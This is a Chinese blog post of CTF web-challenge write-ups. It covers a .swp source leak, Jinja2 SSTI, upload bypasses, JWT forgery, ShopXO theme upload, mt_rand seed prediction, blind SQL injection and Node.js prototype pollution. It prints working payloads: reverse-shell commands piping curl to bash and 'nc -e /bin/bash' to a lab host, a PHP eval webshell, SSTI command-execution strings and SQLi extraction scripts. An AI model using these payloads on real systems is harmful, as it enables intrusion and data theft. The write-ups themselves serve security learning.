打开后,很明显,已经提示了swp源码泄露。

image-20201210204546609

常用linux的应该都知道,当vim编辑器在工作时异常退出,就会留下产生的临时文件,保存为.name.swp

image-20201210205228812

访问.index.php.swp.,将临时文件下载下来。

image-20201210205514359

接下来为了能得到vim编辑器异常退出时正在编辑的源码,也就是还原swp文件。将文件放在linux下,使用vim编辑器还原。或者在git bash下也能运行此命令还原。

image-20201210211224185

image-20201210210103962

源代码如下:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>give me a girl</title>
</head>
<body>
    <center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
    die("where is P3rh4ps's girl friend ???");
} else {
    $girl = $_POST['girl_friend'];
    if (preg_match('/\>|\\\/', $girl)) {
        die('just girl');
    } else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
        echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
    } else {
        //duangShell~~~~
        exec($girl);
    }
}

过滤掉了$,base64,所以常见的拼接绕过在这里不能用了。

看了下师傅们的write up,这道题用的是反弹shell。

https://xz.aliyun.com/t/2548

https://xz.aliyun.com/t/2549

反弹shell就是控制端监听某tcp/udp端口,被控端发起请求到该端口,并将命令行的输入输出转到控制端。

为了能在内网有一个攻击机,于是根据题目提示申请一个小号然后再basic里面起一个linux lab。

image-20201211143106774

image-20201211133642475

用xshell连接,账号密码已经在信息里面给出了。

image-20201211134327402

image-20201211134531406

查看攻击机自己的ip 172.16.191.32

image-20201211134721634

way 1

攻击机应该自带了apache,进入/var/www/html/下,创建一个txt命令文件文件,用于反弹shell。

image-20201211135018701

在命令文件里写入命令:bash -i >& /dev/tcp/172.16.191.32/4444 0>&1,ip为攻击机的ip,port自定义。

image-20201211140336230

然后用nc监控本地的4444端口。 nc -lvvp 4444

image-20201211144036862

然后回到靶机的页面,用curl命令让靶机连上攻击机。 girl_friend=curl http://172.16.191.32/shell.txt|bash

image-20201211140136886

不知道为什么这种方式一直反弹不成功。。。

image-20201211144007805

可能是本地服务没启吧

image-20201211144924088

way 2

import urllib2
response = urllib2.urlopen('127.0.0.1')
code = response.getcode()
cont = response.read()

也可以直接在攻击机上监听本机端口。

image-20201211140901384

然后直接让靶机本机 girl_friend=nc 172.16.191.32 4455 -e /bin/bash

image-20201211140930595

也能实现反弹shell。

image-20201211140958840

接下来就是去慢慢找flag。本来是想写一个shell的,不过啥权限都没有,就直接用find命令找。

find -name flag

cat /etc/demo/P3rh4ps/love/you/flag

image-20201211142946640

拿到flag。

image-20201211143018495

[CSCCTF 2019 Qual]FlaskLight(ssti模板注入)

知识点

ssti模板注入

image-20201211151101212

现在一看到flask,就自动想到了模板注入,不过本题注入点不是很明显。

打开源代码,发现注入的变量是search,传参是get。

image-20201211151136424

way 1

查找object基类

{{[].__class__.__bases__}}    

image-20201211160029777

找到os方法,不过这里没有。可是有类<class ‘warnings.catch_warnings’>,没有内置os模块在第59位;<class ‘site._Printer’> 内含os模块 在第71位。

{{[].__class__.__base__.__subclasses__()}}   

image-20201211160445746

这里先尝试内含os模块的类<class ‘site._Printer’>。

用.init.globals查找os,init初始化类,globals全局查找方法变量参数

{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os']}}   

image-20201211160801296

造成了500服务器错误,这里猜测是有黑名单将globals过滤了。尝试用字符串拼接绕过。

{{[].__class__.__base__.__subclasses__()[71].__init__['__gl'+'obals__']['os']}}   

image-20201211161021654

image-20201211161256639

接下来用popen尝试执行ls命令,成功。

{{[].__class__.__base__.__subclasses__()[71].__init__['__gl'+'obals__']['os']['popen']('ls').read()}}   

image-20201211161332492

既然都能执行命令了,接下来就该找flag了,一般来说,在根目录下都应该能找到吧,不过这里没有。用find命令也啥也没找到。

image-20201211161439722

后来发现flag在flasklight下,名字还不是叫flag,难怪find没找到。

image-20201211161648623

拿到flag

{{[].__class__.__base__.__subclasses__()[71].__init__['__gl'+'obals__']['os']['popen']('cat /flasklight/coomme_geeeett_youur_flek').read()}}   

image-20201211161657423

way 2

利用不含os模块的类warnings.catch_warnings也能实现命令执行。

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}

image-20201211161938422

else

看了师傅的write up利用popen类也可

?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}
?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

---------day5---------

[RootersCTF2019]I_❤️_Flask(ssti,arjun)

知识点

jinja2模板注入

arjun工具查找注入点

拿到网站后不知道该怎么搞,啥也没有。也没什么能转跳的页面,虽然知道可能是模板注入,可也不知道注入点。

image-20201216134218729

扫描了一圈,啥也没有。

image-20201216134342090

image-20201216134924290

看了下师傅的write up,可以用脚本把注入点跑出来。

image-20201216134206417

测试了下输入点,这里用的是jinja2模板。

如果输入{{7*’7’}}如果 输出7777777 则是jinja2模板 如果是 49 则是 twig模板

image-20201216135359989

知道注入点,和什么模板后,就好办了,一切按照流程来就行了。

way 1

先找可利用的类:

{{().__class__.__bases__}}

image-20201216140931498

找到可利用的类,这里找到的是<class ‘warnings.catch_warnings’>类,虽然没有内置os模块。不过也能利用。

{{().__class__.__bases__[0].__subclasses__()}}

image-20201216141616200

用.init.globals查找可用类,init初始化类,globals全局查找方法变量参数,这里可以利用内置函数eval。

{{().__class__.__bases__[0].__subclasses__()[182].__init__.__globals__}}

image-20201216141919209

利用内置的eval函数输出当前目录的文件。

{{().__class__.__bases__[0].__subclasses__()[182].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}

image-20201216142344385

cat查看flag.txt

{{().__class__.__bases__[0].__subclasses__()[182].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}

image-20201216142455609

way 2

利用官方的payload:

查找

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("ls").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

image-20201216142639155

读取flag.txt

image-20201216142651221

[WUSTCTF2020]CV Maker(上传)

知识点

apache解析文件名不包含jpg等

图片文件头

打开页面是一个cv maker的站。先注册,然后登录。

image-20201211213823279

登录成功后,转挑到了一个人的主界面,这么大的两个上传摆着,盲猜是上传木马拿shell。

image-20201211213804821

文件的上传至少应该有一个exif_imagetype()函数进行检测。

image-20201211214225426

见到exif_imagetype()这个函数,让我想起了之前做过的题。([SUCTF 2019]CheckIn,[SUCTF 2019]EasyWeb)两道题的解法都是上传配置文件,(.user.ini/.htaccess)然后靠着配置文件用服务器解析文件里的代码。

上传.user.ini后,发现目录下应该是没有php文件可用作访问。

image-20201214184421749

上传.htaccess却又被拦截下来了。

image-20201214191155930

上传图片马,可是蚁剑连不上啊。

image-20201214192937073

网页报错,用的是apace的服务器。

image-20201214191822691

这时可以利用apache的解析文件名的特性:从右向左读的遇到不能识别的就跳过,jpg等扩展名是apache识别不了的。

所以这里上传1.jpg.php,上传成功后可以找到路径,而且保存为了php文件。

image-20201216095727448

不过用蚁剑还是连不上,这时加上一个图片的文件头。GIF89a

重新上传。

image-20201216095923841

用蚁剑成功连接。

image-20201216100004376

根目录下找到flag

image-20201216100101068

Ezaudit

[SCTF2019]Flag Shop(JWT,ruby web)

知识点

JWT伪造

ruby web注入

好家伙,用20买1000000000000的东西,以前做过类似题,靠的是伪造coockie。

image-20201216102403100

查看robots.txt发现有一个目录。

image-20201216102316295

访问可以得到源码,看到了jwt。估计和这一个有关。

require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)

configure do
  enable :logging
  file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
  file.sync = true
  use Rack::CommonLogger, file
end

get "/" do
  redirect '/shop', 302
end

get "/filebak" do
  content_type :text
  erb IO.binread __FILE__
end

get "/api/auth" do
  payload = { uid: SecureRandom.uuid , jkl: 20}
  auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
  cookies[:auth] = auth
end

get "/api/info" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
  erb :shop
end

get "/work" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  auth = auth[0]
  unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end
end

post "/shop" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

  if auth[0]["jkl"] < FLAGPRICE then

    json({title: "error",message: "no enough jkl"})
  else

    auth << {flag: ENV["FLAG"]}
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    json({title: "success",message: "jkl is good thing"})
  end
end


def islogin
  if cookies[:auth].nil? then
    redirect to('/shop')
  end
end

百度了下解题方法,又学习了一波新知识:[Ruby ERB注入][https://www.anquanke.com/post/id/86867]

/work  
    
    if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end
end

上面是重点代码

如果传入的参数do与name一致的话,就会输出:params[:name][0,7]} working successfully!

抓包work页面,构造payload。

ruby预定义变量:https://docs.ruby-lang.org/en/2.4.0/globals_rdoc.html

$'-最后一次成功匹配右边的字符串

构造do=<%=$’%>,得把里面内容转成十六进制
所以最终的payload:
work?SECRET=&name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%25%3e%20is%20working

image-20201216113855098

回显拿到了JWT的加密文本。

eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJhOWE3MmU4MC02NjJjLTQ2NmYtYmM4Yi05NWM5OTgzNjJhMWUiLCJqa2wiOjM0fQ.t2R9sDCuTBHZwoa5XWXcD_76D_w5U9eOHh7419_Jv6Q

还拿到了
secret:a388fad6fe8074a751b08efbeea2fe70f369f224ba17028e695a2058ba6a4f03653080884811b07d2f5cae41e5a2c05bd361521b72067c22b261e31c9663dbfd

解密网站:https://jwt.io/#debugger-io

image-20201216115032182

解密后修改JWT,jkl后就是你的money,然后再在secret下添加刚才拿到的secret。

image-20201216115237139

新的JWT:
eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJhOWE3MmU4MC02NjJjLTQ2NmYtYmM4Yi05NWM5OTgzNjJhMWUiLCJqa2wiOjEuMmUrMjh9.6j0oRNFHsk9wO-uTCXjntCHaA0wZROfpBB-G8IpMrSU

然后抓包shop界面的buy flag,将JWT改为刚改好的。

image-20201216115743271

又会回显一段JWT,这时将它拿去解密,得到flag。

image-20201216115658592

---------day6---------

[GKCTF2020]老八小超市儿

知识点

shopxo漏洞 CVE-2019-5886

这是做题的关键,本题解法基于此漏洞。

image-20201219232339735

访问默认后台admin.php,账户密码是admin/shopxo,登录进入后台。

主题管理里面能上传主题安装包文件。

image-20201217180042309

发现应用商店里恰好有默认主题。

image-20201217180012807

将主题下载,写个一句话放进去,

image-20201217180333781

<?php @eval($_POST['shell']); echo "success";?> 

然后将整个主题包上传。

image-20201217180703485

通过主题的预览图拿到上传路径。

http://1e485017-fb15-4db9-a69f-7a42129f2b3d.node3.buuoj.cn/public/static/index/default/test.php

image-20201217180906333

测试是否上传成功。

image-20201217160634486

用蚁剑连接。

image-20201217181044129

终端查看根目录文件。

image-20201217161411566

有一个假的flag,flag在root下,可没权限查看。

image-20201217161104403

image-20201217161113138

查看根目录下文件的权限。auto.sh为root权限,而且会每隔60s运行一遍python脚本。

image-20201217221344351

image-20201217161417738

查看python脚本。

image-20201217161504733

import os
import io
import time
os.system("whoami")
gk1=str(time.ctime())
gk="\nGet The RooT,The Date Is Useful!"
f=io.open("/flag.hint", "rb+")
f.write(str(gk1))
f.write(str(gk))
f.close()

s = open("/root/flag","r").read()
f.write(s)

发现有修改此脚本的权限,修改代码,读取flag并写入flag.hint里面。

image-20201217190130592

查看flag.hint,flag已经被写进去了。

image-20201217190256645

[MRCTF2020]Ezaudit

知识点

mt_srand()函数随机数可预测

扫描后台,发现有www.zip文件。

<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
    $Private_key = $_POST['Private_key'];
    if (($username == '') || ($password == '') ||($Private_key == '')) {
        // 若为空,视为未填写,提示错误,并3秒后返回登录界面
        header('refresh:2; url=login.html');  // 若用户名或密码为空,则转跳会登陆地址
        echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
        exit;
}
    else if($Private_key != '*************' ) // 判断密钥,这里没给出
    {
        header('refresh:2; url=login.html');
        echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
        exit;
    }

    else{
        if($Private_key === '************'){ // 数据库操作
        $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; 
        $link=mysql_connect("localhost","root","root");
        mysql_select_db("test",$link);
        $result = mysql_query($getuser);
        while($row=mysql_fetch_assoc($result)){
            echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
        }
    }
    }

} 
// genarate public_key 
function public_key($length = 16) { // 公钥
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }

  //genarate private_key
  function private_key($length = 12) { // 密钥
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
  $Public_key = public_key();
  //$Public_key = KVQP0LdJKRaV3n9D  how to get crispr's private_key??? // 给出了公钥

代码最后一行给出了公钥,用公钥去得到密钥。

image-20201217140354533

mt_srand()函数,伪随机数,可以预测它的随机数,只要种子值就行了。

首先将字符串转换成脚本可读的字符串。

# -*- coding: utf-8 -*-
s = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
key = 'KVQP0LdJKRaV3n9D'
m = ''
for i in key:
    for j in range(len(s)):
        if i == s[j]:
            m += "{} {} 0 {} ".format(j,j,len(s)-1)
print(m)

# 36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61 

image-20201217142008446

接下来得用到一个脚本php_mt_seed:https://github.com/lepiaf/php_mt_seed

把脚本拿到kali里,先make一下,然后跑脚本出种子为 1775196155 。

image-20201217143343880

image-20201217143724700

有了种子就能算出密钥了。

XuNhoueCDCGc

image-20201217144632452

这时再访问login.html登录。有了密钥,还差密码。

用万能密码绕过,拿到flag。

image-20201217151145036

image-20201217151136842

[GYCTF2020]Ezsqli

知识点

无列名注入

fuzz了一下。

连information都给过滤了,

image-20201218192914349

当1=2时,回显为V&N;当1=1时,回显为Nu1L;

image-20201218193206644

image-20201218193221571

因为information被过滤了,information_schema不可用,利用sys.schema_table_statistics_with_buffer表。

payload:

select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()

脚本:

查表

import requests
url = 'http://dfd4c77d-3d7b-4efa-ab87-f13e2c41c8a4.node3.buuoj.cn/index.php'
payload = '2||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={}'
result = ''
for j in range(1,500):
    for i in range(32, 127):
        py = payload.format(j,i)
        post_data = {'id': py}
        re = requests.post(url, data=post_data)
        if 'Nu1L' in re.text:
            result += chr(i)
            print(result)
            break

image-20201219231039239

表名出来后,需要使用无列名注入。

image-20201219230743879

payload:

0^((1,' g')>(select * from f1ag_1s_h3r3_hhhhh))

脚本:

import requests
url = 'http://6c05130d-3668-41d6-9ad6-5e69ce00e0cc.node3.buuoj.cn/index.php'
x=''
for j in range(1,50):
    for i in range(33,127):
        flag=x+chr(i)
        payload = "1&&((1,'{}')>(select * from f1ag_1s_h3r3_hhhhh))".format(flag)
        data={
        'id':payload
        }
        r = requests.post(url,data=data)
        if 'Nu1L' in r.text:
            x=x+chr(i-1)
            print(x)
            break

跑出flag

image-20201218210000548

---------day7---------

[CISCN2019 总决赛 Day2 Web1]Easyweb

知识点

盲注

扫描后台发现有robots.txt,提示有备份文件。

image-20201217221550531

经过测试发现有image.php.bak

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

分析下源码:

可以传递id和path两个参数

addslashes()函数:

​ 会将特殊的字符转义,比如:'会被转义为\'\会转义为\\

str_replace():

​ 在这里会将"\\0","%00","\\'","'"中的任意一个替换成空。

这里可以用id和path两个参数触发sql注入,前提得先绕过过滤。

想办法绕过过滤,主要就是为了破坏单引号,可以利用转义字符或者单引号破坏,但是单引号会被替代,只能考虑 \ 。

如果参数中含有斜杠或者单引号时,会被加上一个斜杠来转义。这里如果参数id为\0,id就会先变成\\0,之后\0会被替换掉,就剩下一个\,这时sql语句就会变成:

select * from images where id='\' or path='{$path}';

就可以在path处注入新语句。

exp:

import requests
import time
def exp(url_format,length=None):
    rlt = ''
    url  = url_format
    if length==None:
        length = 30
    for l in range(1,length+1):
    # 从可打印字符开始
        begin = 32
        ends = 126
        tmp = (begin+ends)//2
        while begin<ends:
            r = requests.get(url.format(l,tmp))
            if r.content!=b'':
                begin = tmp+1
                tmp = (begin+ends)//2
            else:
                ends = tmp
                tmp = (begin+ends)//2
        # 可删除,毕竟一般库表列里都没有空格
        if tmp==32:
            break
        rlt+=chr(tmp)
        print(rlt)
    return rlt.rstrip()
url ='http://22e1a52b-ef95-4405-8159-b03e4beb67b9.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr(database(),{},1))>{}%23'
print('数据库名为:',exp(url))
# database 得到了是ciscnfinal,此外由于单引号不能绕过,所以用到字符串比较的时候可以借助十六进制串来表示,接下来用其16进制表示
url ='http://22e1a52b-ef95-4405-8159-b03e4beb67b9.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x636973636e66696e616c),{},1))>{}%23'
print('表名为:',exp(url))
url ='http://22e1a52b-ef95-4405-8159-b03e4beb67b9.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=0x636973636e66696e616c and table_name=0x7573657273),{},1))>{}%23'
print('列名为:',exp(url))
url ='http://22e1a52b-ef95-4405-8159-b03e4beb67b9.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(username)%20from%20users),{},1))>{}%23'
print('用户名为:',exp(url))
url ='http://22e1a52b-ef95-4405-8159-b03e4beb67b9.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(password)%20from%20users),{},1))>{}%23'
print('密码为:',exp(url))

跑出来的账户密码:

image-20201218100708612

登录,可以上传文件。

image-20201218100854847

无法直接上传php,将后缀改为phtml可实现绕过,。

image-20201218100941617

访问给的路径,有全部上传成功的文件,这应该是将文件名写进了日志里面。

image-20201218101314414

于是用文件名写马,因为会过滤带php的文件名,可以用php短标签绕过。

image-20201218102048244

连接蚁剑,拿到flag。

image-20201218102221523

[NCTF2019]SQLi

知识点

regexp注入

给出了sql语句。

image-20201218140206660

扫描后台有robots.txt,打开后有提示hint.txt。

hint.txt:

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
// 过滤的参数

If $_POST['passwd'] === admin's password, // 要求 admin 的 password

Then you will get the flag;

sql语句:select * from users where username='' and passwd=''

和上道题一样用\转义掉 ’ ;然后可以用/**/绕过空格,%00当作注释符。

regexp可用,利用其绕过过滤。

username=\&passwd=||/**/passwd/**/regexp/**/"^a";%00

burp suite跑下正确的回显,方便写脚本。

image-20201218152218632

image-20201218153145819

脚本

#coding:utf-8
import requests
import time
import string
url = "http://fd3ef70a-2e05-427c-ae93-ca4d784d33f1.node3.buuoj.cn/"
str_list = "_" + string.ascii_lowercase + string.ascii_uppercase + string.digits

payload = ''
for n in range(100):
	print(n)
	for i in str_list:
		data = {'username':'\\', 'passwd':'||passwd/**/regexp/**/"^{}";\x00'.format(payload+i)}
		res = requests.post(url = url, data = data)
		if 'welcome.php' in res.text:
			payload += i
			print(payload)
			break
		elif res.status_code == 429:
			time.sleep(1)

image-20201218145236469

传参拿到flag

image-20201218145707279

020-网鼎杯-朱雀组-Web-phpweb

知识点

反序列化

php伪协议

定时刷新有点恶心,抓包。

image-20201217190548423

date是一个函数 后面是他的参数 猜测这里使用了 call_user_func()函数

给func传参,call_user_func()函数会将第一个参数当作回调函数使用

image-20201010134430182

image-20201010134955935

RCE远程代码执行

这里涉及到了 RCE远程代码执行

用文件包含函数file_get_contents(readfile也可)上传index.php

给出了源码。

image-20201010141005825

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }

可是这个黑名单过滤了绝大部分函数。

image-20201010142005010

image-20201010142123663

反序列化

两个参数没有进行过滤,且调用了魔术函数 ,而且黑名单之中没有unserialize()

这就需要用到刚才提到的**反序列化**了

exp:

<?php
class Test {
    var $p = "ls";
    var $func = "system";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}

$a=new Test();
echo serialize($a);
// rsult:  O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}
?>

image-20201010150533861

这个目录下没有flag,在根目录下查找了。

<?php
class Test {
    var $p = "find / -name *flag*";
    var $func = "system";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}

$a=new Test();
echo serialize($a);
// rsult:  O:4:"Test":2:{s:1:"p";s:19:"find / -name *flag*";s:4:"func";s:6:"system";}
?>

image-20201010151345576

image-20201010151453207

payload查看flag: func=readfile&p=/tmp/flagoefiu4r93

image-20201010151539118

[GYCTF2020]Ez_Express

知识点

原型链污染 rce

提示用admin登录,万能密码绕过不了。

image-20201216150254458

注册一个小号登录进去,在源代码里发现有提示。

image-20201216150534532

访问之将代码下载下来,先审routes下的代码。

看到其中有clone,merge函数,这时可以向原型链污染上靠,找污染点。

image-20201216185232496

一个师傅找污染点的思路就是让__proto__解析为一个键名。

tips

byc师傅blog的总结:

总结下:
1.原型链污染属于前端漏洞应用,基本上需要源码审计功力来进行解决;找到merge(),clone()只是确定漏洞的开始
2.进行审计需要以达成RCE为主要目的。通常exec, return等等都是值得注意的关键字。
3.题目基本是以弹shell为最终目的。目前来看很多Node.js传统弹shell方式并不适用.wget,curl,以及我两道题都用到的nc比较适用。

找到clone():

可只能admin账户才能调用clone()

而且会直接将他户名大写写入session里

router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});

于是接着去查看/login:

function safeKeyword(keyword) {
  if(keyword.match(/(admin)/is)) {
      return keyword
  }

  return undefined
}
router.post('/login', function (req, res) {
  if(req.body.Submit=="register"){
   if(safeKeyword(req.body.userid)){
    res.end("<script>alert('forbid word');history.go(-1);</script>") 
   }
    req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }
    res.redirect('/'); 
  }
  else if(req.body.Submit=="login"){
    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
      req.session.user.isLogin=true;
    }
    else{
      res.end("<script>alert('error passwd');history.go(-1);</script>")
    }
  
  }
  res.redirect('/'); ;
});

发现注册的用户名不能为admin(大小写都不行)

发现'user':req.body.userid.toUpperCase()可用字符绕过实现admin注册。

具体可以看PHITHON师傅的技巧:https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

两个字符:“ı”、“ſ”。

这两个字符经过toUpperCase()函数后:“ı”.toUpperCase() == ‘I’,“ſ”.toUpperCase() == ‘S’;可以绕过一些小限制,这里恰好能用上。

用admın注册(注意这和amdin有所不同)。

image-20201216193014592

成功登录进去了,右边还有提示flag in /flag。

image-20201216193349599

原型链污染部分。

找到污染的参数,可以看到在/info下,使用outputFunctionName渲染入index中,但是outputFunctionName未定义。

router.get('/info', function (req, res) {  res.render('index',data={'user':res.outputFunctionName}); })
res.outputFunctionName=undefined;

所以可以利用污染outputFunctionName进行ssti。

抓action的包(喜欢的语言),然后将Content-Type改为:application/json

然后上payload(payload构造方法:https://evi0s.com/2019/08/30/expresslodashejs-%e4%bb%8e%e5%8e%9f%e5%9e%8b%e9%93%be%e6%b1%a1%e6%9f%93%e5%88%b0rce/):

{"__proto__":{"outputFunctionName":"a;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag'); //"}}

image-20201217114537224

然后访问/info,可以将info下下来,用sublime打开,看到flag。

image-20201217114407288

image-20201216195335931

标签:,__,.__,__.__,flag,file,php
来源: https://blog.csdn.net/qq_43478096/article/details/111590202